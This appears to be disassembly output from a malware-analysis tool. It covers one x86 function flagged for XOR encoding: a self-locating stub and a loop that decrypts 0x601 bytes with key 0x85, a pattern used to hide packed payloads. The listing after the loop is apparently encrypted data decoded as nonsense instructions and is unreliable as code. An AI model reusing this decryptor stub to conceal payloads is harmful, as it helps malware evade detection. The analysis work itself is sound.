Function at 0xa51db8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xa51dc2
pushal
call 0xa51dc8
pop ebp
sub ebp, 0x10
sub ebp, 0x651db8
jmp 0xa51dde
sbb eax, 0x4e90065
add byte [eax], al
add byte [edi + 0x19], bh
out dx, eax
invalid
mov eax, 0x651db8
add eax, ebp
add eax, 0x4c
mov ecx, 0x601
mov edx, 0xf9de0185
xor byte [eax], dl
inc eax
dec ecx
jne 0xa51df5
jmp 0xa51e08
push cs
dec eax
push cs
or al, 0xb9
test dword [ebp + 0x7d440485], eax
test dword [ebp + 0x3d488685], eax
add byte [ebp - 0x52c07a7b], 0x85
test dword [ebp + 0x4d866772], eax
push cs
add al, 0x89
test dword [ebp + 0x8408685], eax
loope 0xa51dd2
jns 0xa51e3f
and dword [ecx + 0x79a1e108], 0xeda1810c
or dword [edx], eax
mov eax, dword [ebp - 0x2cec5613]
test dword [ecx + ebp*4 - 0x5174125f], eax
mov dl, 0x36
insd dword es:[edi], dx
add byte [ebp - 0x50937a7b], 0x85
test dword [ebp - 0x5e16f730], eax
test dword [esi], ecx
add byte [ebp + 0xe858585], cl
adc byte [ecx + 0xe858585], cl
or byte [ebp + 0x44858585], dl
insb byte es:[edi], dx
xchg dword [edi + eax*4 - 0x337eb8fa], esi
mov al, byte [eax]
jno 0xa51ef6
jp 0xa51ef8
fadd dword [edi - 0x77]
test dword [esi], ecx
or dword [ecx - 0x7a7a7a7f], esp
in eax, dx
or dword [edx], eax
mov eax, dword [ebp - 0x2cec5613]
adc edx, ebx
test dword [ecx + ebp*4 - 0x5e1ef75f], eax
jns 0xa51ea7
mov dword [ecx - 0x7a7a7f93], esp
test dword [edx + edi*4 - 0x79], ebp
test dword [ebp + 0x79a1e108], eax
or al, 0xa9
mov eax, dword [0xf07a690e]
mov dword [edx - 0x10], edi
lea ebp, [ebp - 0x17]
test dword [ebp - 0x72c7f17b], eax
test dword [ebp - 0x49b3497b], eax
push edi
push es
insd dword es:[edi], dx
or ch, 0x8a
add ebx, ecx
test dword [ebp - 0x32f2757b], eax
test dword [ebp - 0x66f11c7b], eax
mov esp, 0x8a6d7e05
add dword [edi + 0x5858585], ebx
jle 0xa51f51
or cl, ah
mov eax, dword [0xa1a90c79]
push cs
imul edi, dword [edx - 0x10], 0x8df07a89
insd dword es:[edi], dx
jmp 0xf2aa441
mov al, byte [ecx]
xchg esp, eax
test dword [ebp + 0x7e04e385], eax
jp 0xa51e90
add dword [ebp + eax*4 + 0x4e38585], edx
jle 0xa51f69
mov al, byte [0x8590018a]
test dword [ebp + 0x7a496cc4], eax
mov al, byte [ecx]
nop
test dword [ebp + 0x496cc485], eax
les ebp, [ecx + ecx*2 + 0x7a]
dec ecx
jp 0xa51f75
jp 0xa51f76
jp 0xa51ea9
lodsb al, byte [esi]
leave
mov esp, 0x80440684
push es
insd dword es:[edi], dx
sub dword [eax + edi + 0x7a], 0xd1ac7a7a
mov esp, 0x83440687
push es
outsd dx, dword [esi]
add dword [esi], 0x2e6c806d
jp 0xa51f96
jp 0xa51f2c
test eax, 0xa1e108a1
add dword [edi - 0x77], 0x690ed085
rcl edx, cl
ror byte [esi], 1
invalid
test dword [ebp - 0x683c6cf1], eax
push edi
mov al, byte [esi]
pop ebp
jp 0xa51fd7
jp 0xa51ee6
push edi
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
xchg edi, eax
push edi
mov al, byte [esi]
out dx, eax
test dword [ebp - 0x78ba497b], eax
push edi
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
xchg edi, eax
push edi
mov al, byte [esi]
scasd eax, dword es:[edi]
test byte [ebp - 0x75a8787b], al
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
push edi
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
xchg edi, eax
push edi
xchg esi, eax
inc ebp
xchg dword [edi - 0x76], edx
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
cmc
jp 0xa52054
jp 0xa52019
test byte [ebp + 0x57878585], al
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
xchg edi, eax
push edi
xchg esi, eax
inc ebp
xchg dword [edi - 0x76], edx
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
test dword [ebp - 0x3c6cf07b], eax
xchg edi, eax
push edi
xchg esi, eax
dec esp
xchg dword [edi - 0x76], edx
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
add byte [eax + 0xf858585], al
xchg ebx, eax
ret